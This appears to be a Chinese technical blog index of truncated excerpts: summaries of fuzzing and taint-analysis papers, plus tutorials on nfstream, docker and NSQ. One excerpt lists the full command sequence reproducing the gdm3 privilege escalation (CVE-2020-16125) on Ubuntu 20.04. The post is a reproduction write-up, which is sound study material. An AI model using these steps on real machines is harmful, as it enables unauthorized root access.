V-Fuzz: Vulnerability-Oriented Evolutionary Fuzzing
V-Fuzz: Vulnerability-Oriented Evolutionary Fuzzing出处:arXiv预收录
作者:Yuwei Li, Shouling Ji, Chenyang Lv, Yuan Chen, Jianhai Chen, Qinchen Gu, and Chunming Wu
1. 背景
黑盒模糊器将程序视为黑盒,只是随机产生输入。
灰盒模糊器也不知道程序的源代码。 他们通常对二进制程序进行一些反向分析。分析只是简单的二进制仪器,主要用于测量代码覆盖范围。
白盒模糊测试,虽然能看到源代码,但是应用符号执行来探索有意义的路径是不实际的,特别是对于大型软件来说。由于难以产生足够的有效输入,白盒模糊器盲目追求高代码覆盖率的策略是不明智的,可能会浪费大量的时间和精力。
模糊测试器可以从不同的角度分为几种类型:
基于不同的输入生成方法,模糊器可以分为基于生成的和基于突变的。
基于探索策略,模糊器可以被分类为定向和基于覆盖。
例如,AFL是一种面向安全的引信,它采用进化算法来生成输入,从而在目标二进制文件中触发新的内部状态。 更具体地说,如果输入发现新路 ...
nfstream内存调优
由于虚拟机配置的限制,在运行nfsteam程序的时候,遭遇到内存和硬盘的空间不足。考虑到实际情况的并发量更加庞大,因此对代码和组织结构进行调优,调优方式在此列出。
1. 扩充硬盘1.1 增加额外的硬盘并挂载12345sudo fdisk -l 查看当前硬盘窗台sudo fdisk /dev/sda2 为新硬盘分区sudo mkfs -t ext4 /dev/sda2 格式化分区sudo mount /dev/sda2 /root/data 挂载分区df -hl 查看信息
Ubuntu 挂载新硬盘
1.2 虚拟机设置共享文件夹
12sudo vmware-config-tools.pl -d在mnt/hgfs路径下可以看到共享文件夹
2. 内存不足问题2.1 使用redis数据库缓存数据源码安装
参数调整
123456789daemonize yes # 生产环境中可设置为yespidfile /var/run/redis.pi ...
Saluki: Finding Taint-style Vulnerabilities with Static Property Checking
Saluki: Finding Taint-style Vulnerabilities with Static Property Checking出处:NDSS
作者:Ivan Gotovchits,Rijnard van Tonder,David Brumley
1.摘要我们介绍了Saluki,一种新的工具,用于检查二进制代码中的污染型(数据依赖)安全属性。 Saluki提供了一种特定领域的语言来表达基于污点的政策。 Saluki可以在一些CWE类型的实际程序中找到漏洞,包括命令注入、弱PRNG种子和缺少消毒检查,如SQL转义例程或缓冲区长度检查。 Saluki在二进制程序分析中包含了两个新思想。 首先,Saluki使用µflux,一种新的静态分析技术,用于路径敏感、上下文敏感地恢复二进制文件中的数据依赖事实。 第二,Saluki引入了一个健全的逻辑系统来推理数据依赖事实。 我们在逻辑系统之上开发了一种特定于域的语言,将安全属性表示为形式规范。 Saluki包括一个可判定的求解程序,以(基于底层逻辑)证明一组数据依赖事实是否满足安全属性。 我们的评估表明,Saluki能够在COTSx ...
gdm3漏洞在Ubuntu20.04上获得root权限
漏洞编号:CVE-2020-161251. 漏洞复现1.1 执行流程12345678910111213Settings->About 查看版本Ubuntu 20.04.1 LTSidln -s /dev/zero ~/.pam_environmenttop更改语言(对话框冻结)pidof accounts-daemonkill -SIGSTOP 684rm ~/.pam_environmentnohup bash -c "sleep 20s; kill -SIGSEGV 684; kill -SIGCONT 684" &登出id (属于sudo组)
1.2 流程解析
查看版本号和账号
创建一个指向home目录的符号链接:
1ln -s /dev/zero ~/.pam_environment
在系统设置中打开“区域&语言”选项,然后尝试修改语言。此时对话框将会卡住,切换回终端窗口。这个时候,一个名为accounts-daemon的程序将会占用100%的CPU资源,此时你的电脑将会变得非常卡。
1top
使用pidof ...
Inferring Patterns for Taint-Style Vulnerabilities With Security Patches
期刊:IEEE Access
作者:TINGYU SONG , XIAOHONG LI , ZHIYONG FENG , GUANGQUAN XU
1.框架
2.方法方法概述:
2.1 提取消毒对比补丁文件,找出改变的代码,将条件语句作为作为消毒。
2.2 提取槽目的:用变化集合计算影响集合。如果语句依赖于条件语句进行控制,则应在受影响的集合中添加这些语句。
我们需要借助现有的source-sink lists提取sinks。 对于影响集中包含的每个元素,我们通过查询现有的source-sink lists来确定元素是否为sink。 如果在source-sink lists中找到该元素,则该元素为sink。
2.3 提取源 对于油漆式的漏洞,从source到sink的路径是可以到达的。 因此,可以通过计算从汇到源的数据流可达性来确定源。
从sink开始,我们在程序依赖图上反向遍历。 如果节点Vn可以通过消毒节点Vsan从槽节点Vsink到达,并包含在源-槽列表中,则此节点Vn被视为源节点。
2.4 聚类和生成搜索模式使用完全链接聚类方法分别对每个槽的消毒和源进行聚类。借 ...
Automatic Inference of Search Patterns for Taint-Style Vulnerabilities
Automatic Inference of Search Patterns for Taint-Style Vulnerabilities出处:2015 IEEE Symposium on Security and Privacy (网络与信息安全A类)
作者:Fabian Yamaguchi, Alwin Maier, Hugo Gascon, and Konrad Rieck University of Gottingen, Germany
1. 概述1.1 摘要提出了一种自动推断C代码中污染型漏洞的搜索模式的方法。 给定一个安全敏感的槽,例如内存函数,方法自动识别相应的源-槽系统,并构造模式来建模这些系统中的数据流和消毒。 推断的模式表示为代码属性图中的遍历,并能够有效地搜索未消毒的数据流-跨越几个函数或特定于项目的API。 我们在5个开源项目的不同实验中证明了这种方法的有效性。 推断的搜索模式将检查查找已知漏洞的代码量减少了94.9%,并使我们能够发现8个以前未知的漏洞。
1.2 背景1.2.1 Taint-Style Vulnerabilities污染型漏洞这个词产生于污 ...
docker使用
1. docker是什么?
docker是一个应用的容器,也可称为虚拟机。拥有独立的环境,便于配置各种程序。
docker有一个在线的仓库,里面有很多的已经搭建好的环境,可供学习与使用。
在线docker测试平台
docker安装各平台有些许区别,请自行搜索。速度慢记得换源。
docker官网安装包下载
2. docker的操作
2.1 启动docker1234567systemctl start docker 启动dockerservice docker start 启动dockersystemctl stop docker 停止dockersystemctl restart docker 重启dockersystemctl status docker 查看docker状态sustemctl enable docker 开启启动dockerdocker info 查看docker概要信息
2.2 从在线仓库拉取镜像(pull)以nginx为例
12docker pull nginx 版本默认最新,nginx:latestdocker ...
pynsq异步消息队列
快速开始:
123./nsqlookupd./nsqd --lookupd-tcp-address=127.0.0.1:4160 -max-msg-size 104857600./nsqadmin --lookupd-http-address=127.0.0.1:4161
1. NSQNSQ是Go语言编写的一个开源的实时分布式内存消息队列,其性能十分优异。
1.1 NSQ组成部分NSQ由3个守护程序组成:
nsqlookupd是管理拓扑信息并提供最终一致的发现服务的守护程序。
nsqd是接收,排队并将消息传递到客户端的守护程序。
nsqadmin是一个Web UI,用于实时群集管理任务。
1.2 拓扑结构
producer:消息发送者
consumer:消息接收者
1.3 分发模式
topic:消息主题
channel:消息通道,消息主题的消息复制到每一个channel里
消息是从topic -> channel(每个channel接收该topic的所有消息的副本)多播的,但是从channel -> consumers均匀分布(每个消费者接收该cha ...
nfstream获得数据流特征
项目地址
nfstream是一个根据数据包聚合流的项目。流的聚合通过一组共享特征(流密钥,例如,源IP地址、目的IP地址、传输协议、源端口、目的端口、VLAN标识符)将数据包聚合为流组成。流缓存维护每个流条目直到其终止(例如活动超时、非活动超时)。当条目出现在流缓存中时,基本计数器和几个指标将被更新。如果两个对在两个方向上生成流,则流缓存使用双向流定义,为两个方向添加计数器和度量。
1.总体框架:
NFStreamer: 驱动进程,它负责设置整个工作流,主要是并行计量进程的编排。
Meters: 是NFStream框架的核心部分。原始数据包被处理(例如,时间戳、解码、截断)并按特征分发。每个特征能够将包信息聚合到流中并计算所需的特性,直到触发流过期(主动超时、非主动超时)。
2.源码结构:
context_cc.c 文件为胶水层,将ndpi的api进行封装
context.py 文件调用了.c文件
将数据包聚合到流,并提取特征,然后将数据包和流销毁。
3.提取数据包和流属性3.1 总字典数据结构
序号
字典字段
类型
解释
1
flow_id
int
流的数量标识 ...
Network Protocol Reverse Analysis.md
10.12 学习汇总1. 基于主动学习的网络协议识别技术1.1 模型汇总
1.2 系统模型
算法过程如下:
输入:
已标记训练样本集合X中少量已标记样本x(至少包含一个正样本和一个负样本),未标记测试样本集合U中(包含有正样本和负样本)大量未标记样本u。 r为主动学习中止条件。
输出: 分类器f,和已标注样本集合X
根据已标记训练样本集合X中少量已标记样本x,训练构造SVM分类器f,从而样本集合X被划分为两类, f : X → {-1, +1} ;
利用已构造的SVM分类器f,对U中所有未标记的样本u进行分类;
根据分类器f的分类结果,查询函数q判定未标记样本集合U中每个样本的信息量,将信息量最大、最不确定(距离分类超平面最近)的样本交由领域专家进行标;
将经由领域专家标记好的样本加入到已标记样本集合X中,根据更新后的已标记样本集合X,对分类器模型f进行评估;
若达到中止条件r时,则算法中止,返回分类器f,否则重复步骤1-4。
1.3 流程补充
评价指标
True Positives (TP): 被PRoLearner系统识别为某协议的网 ...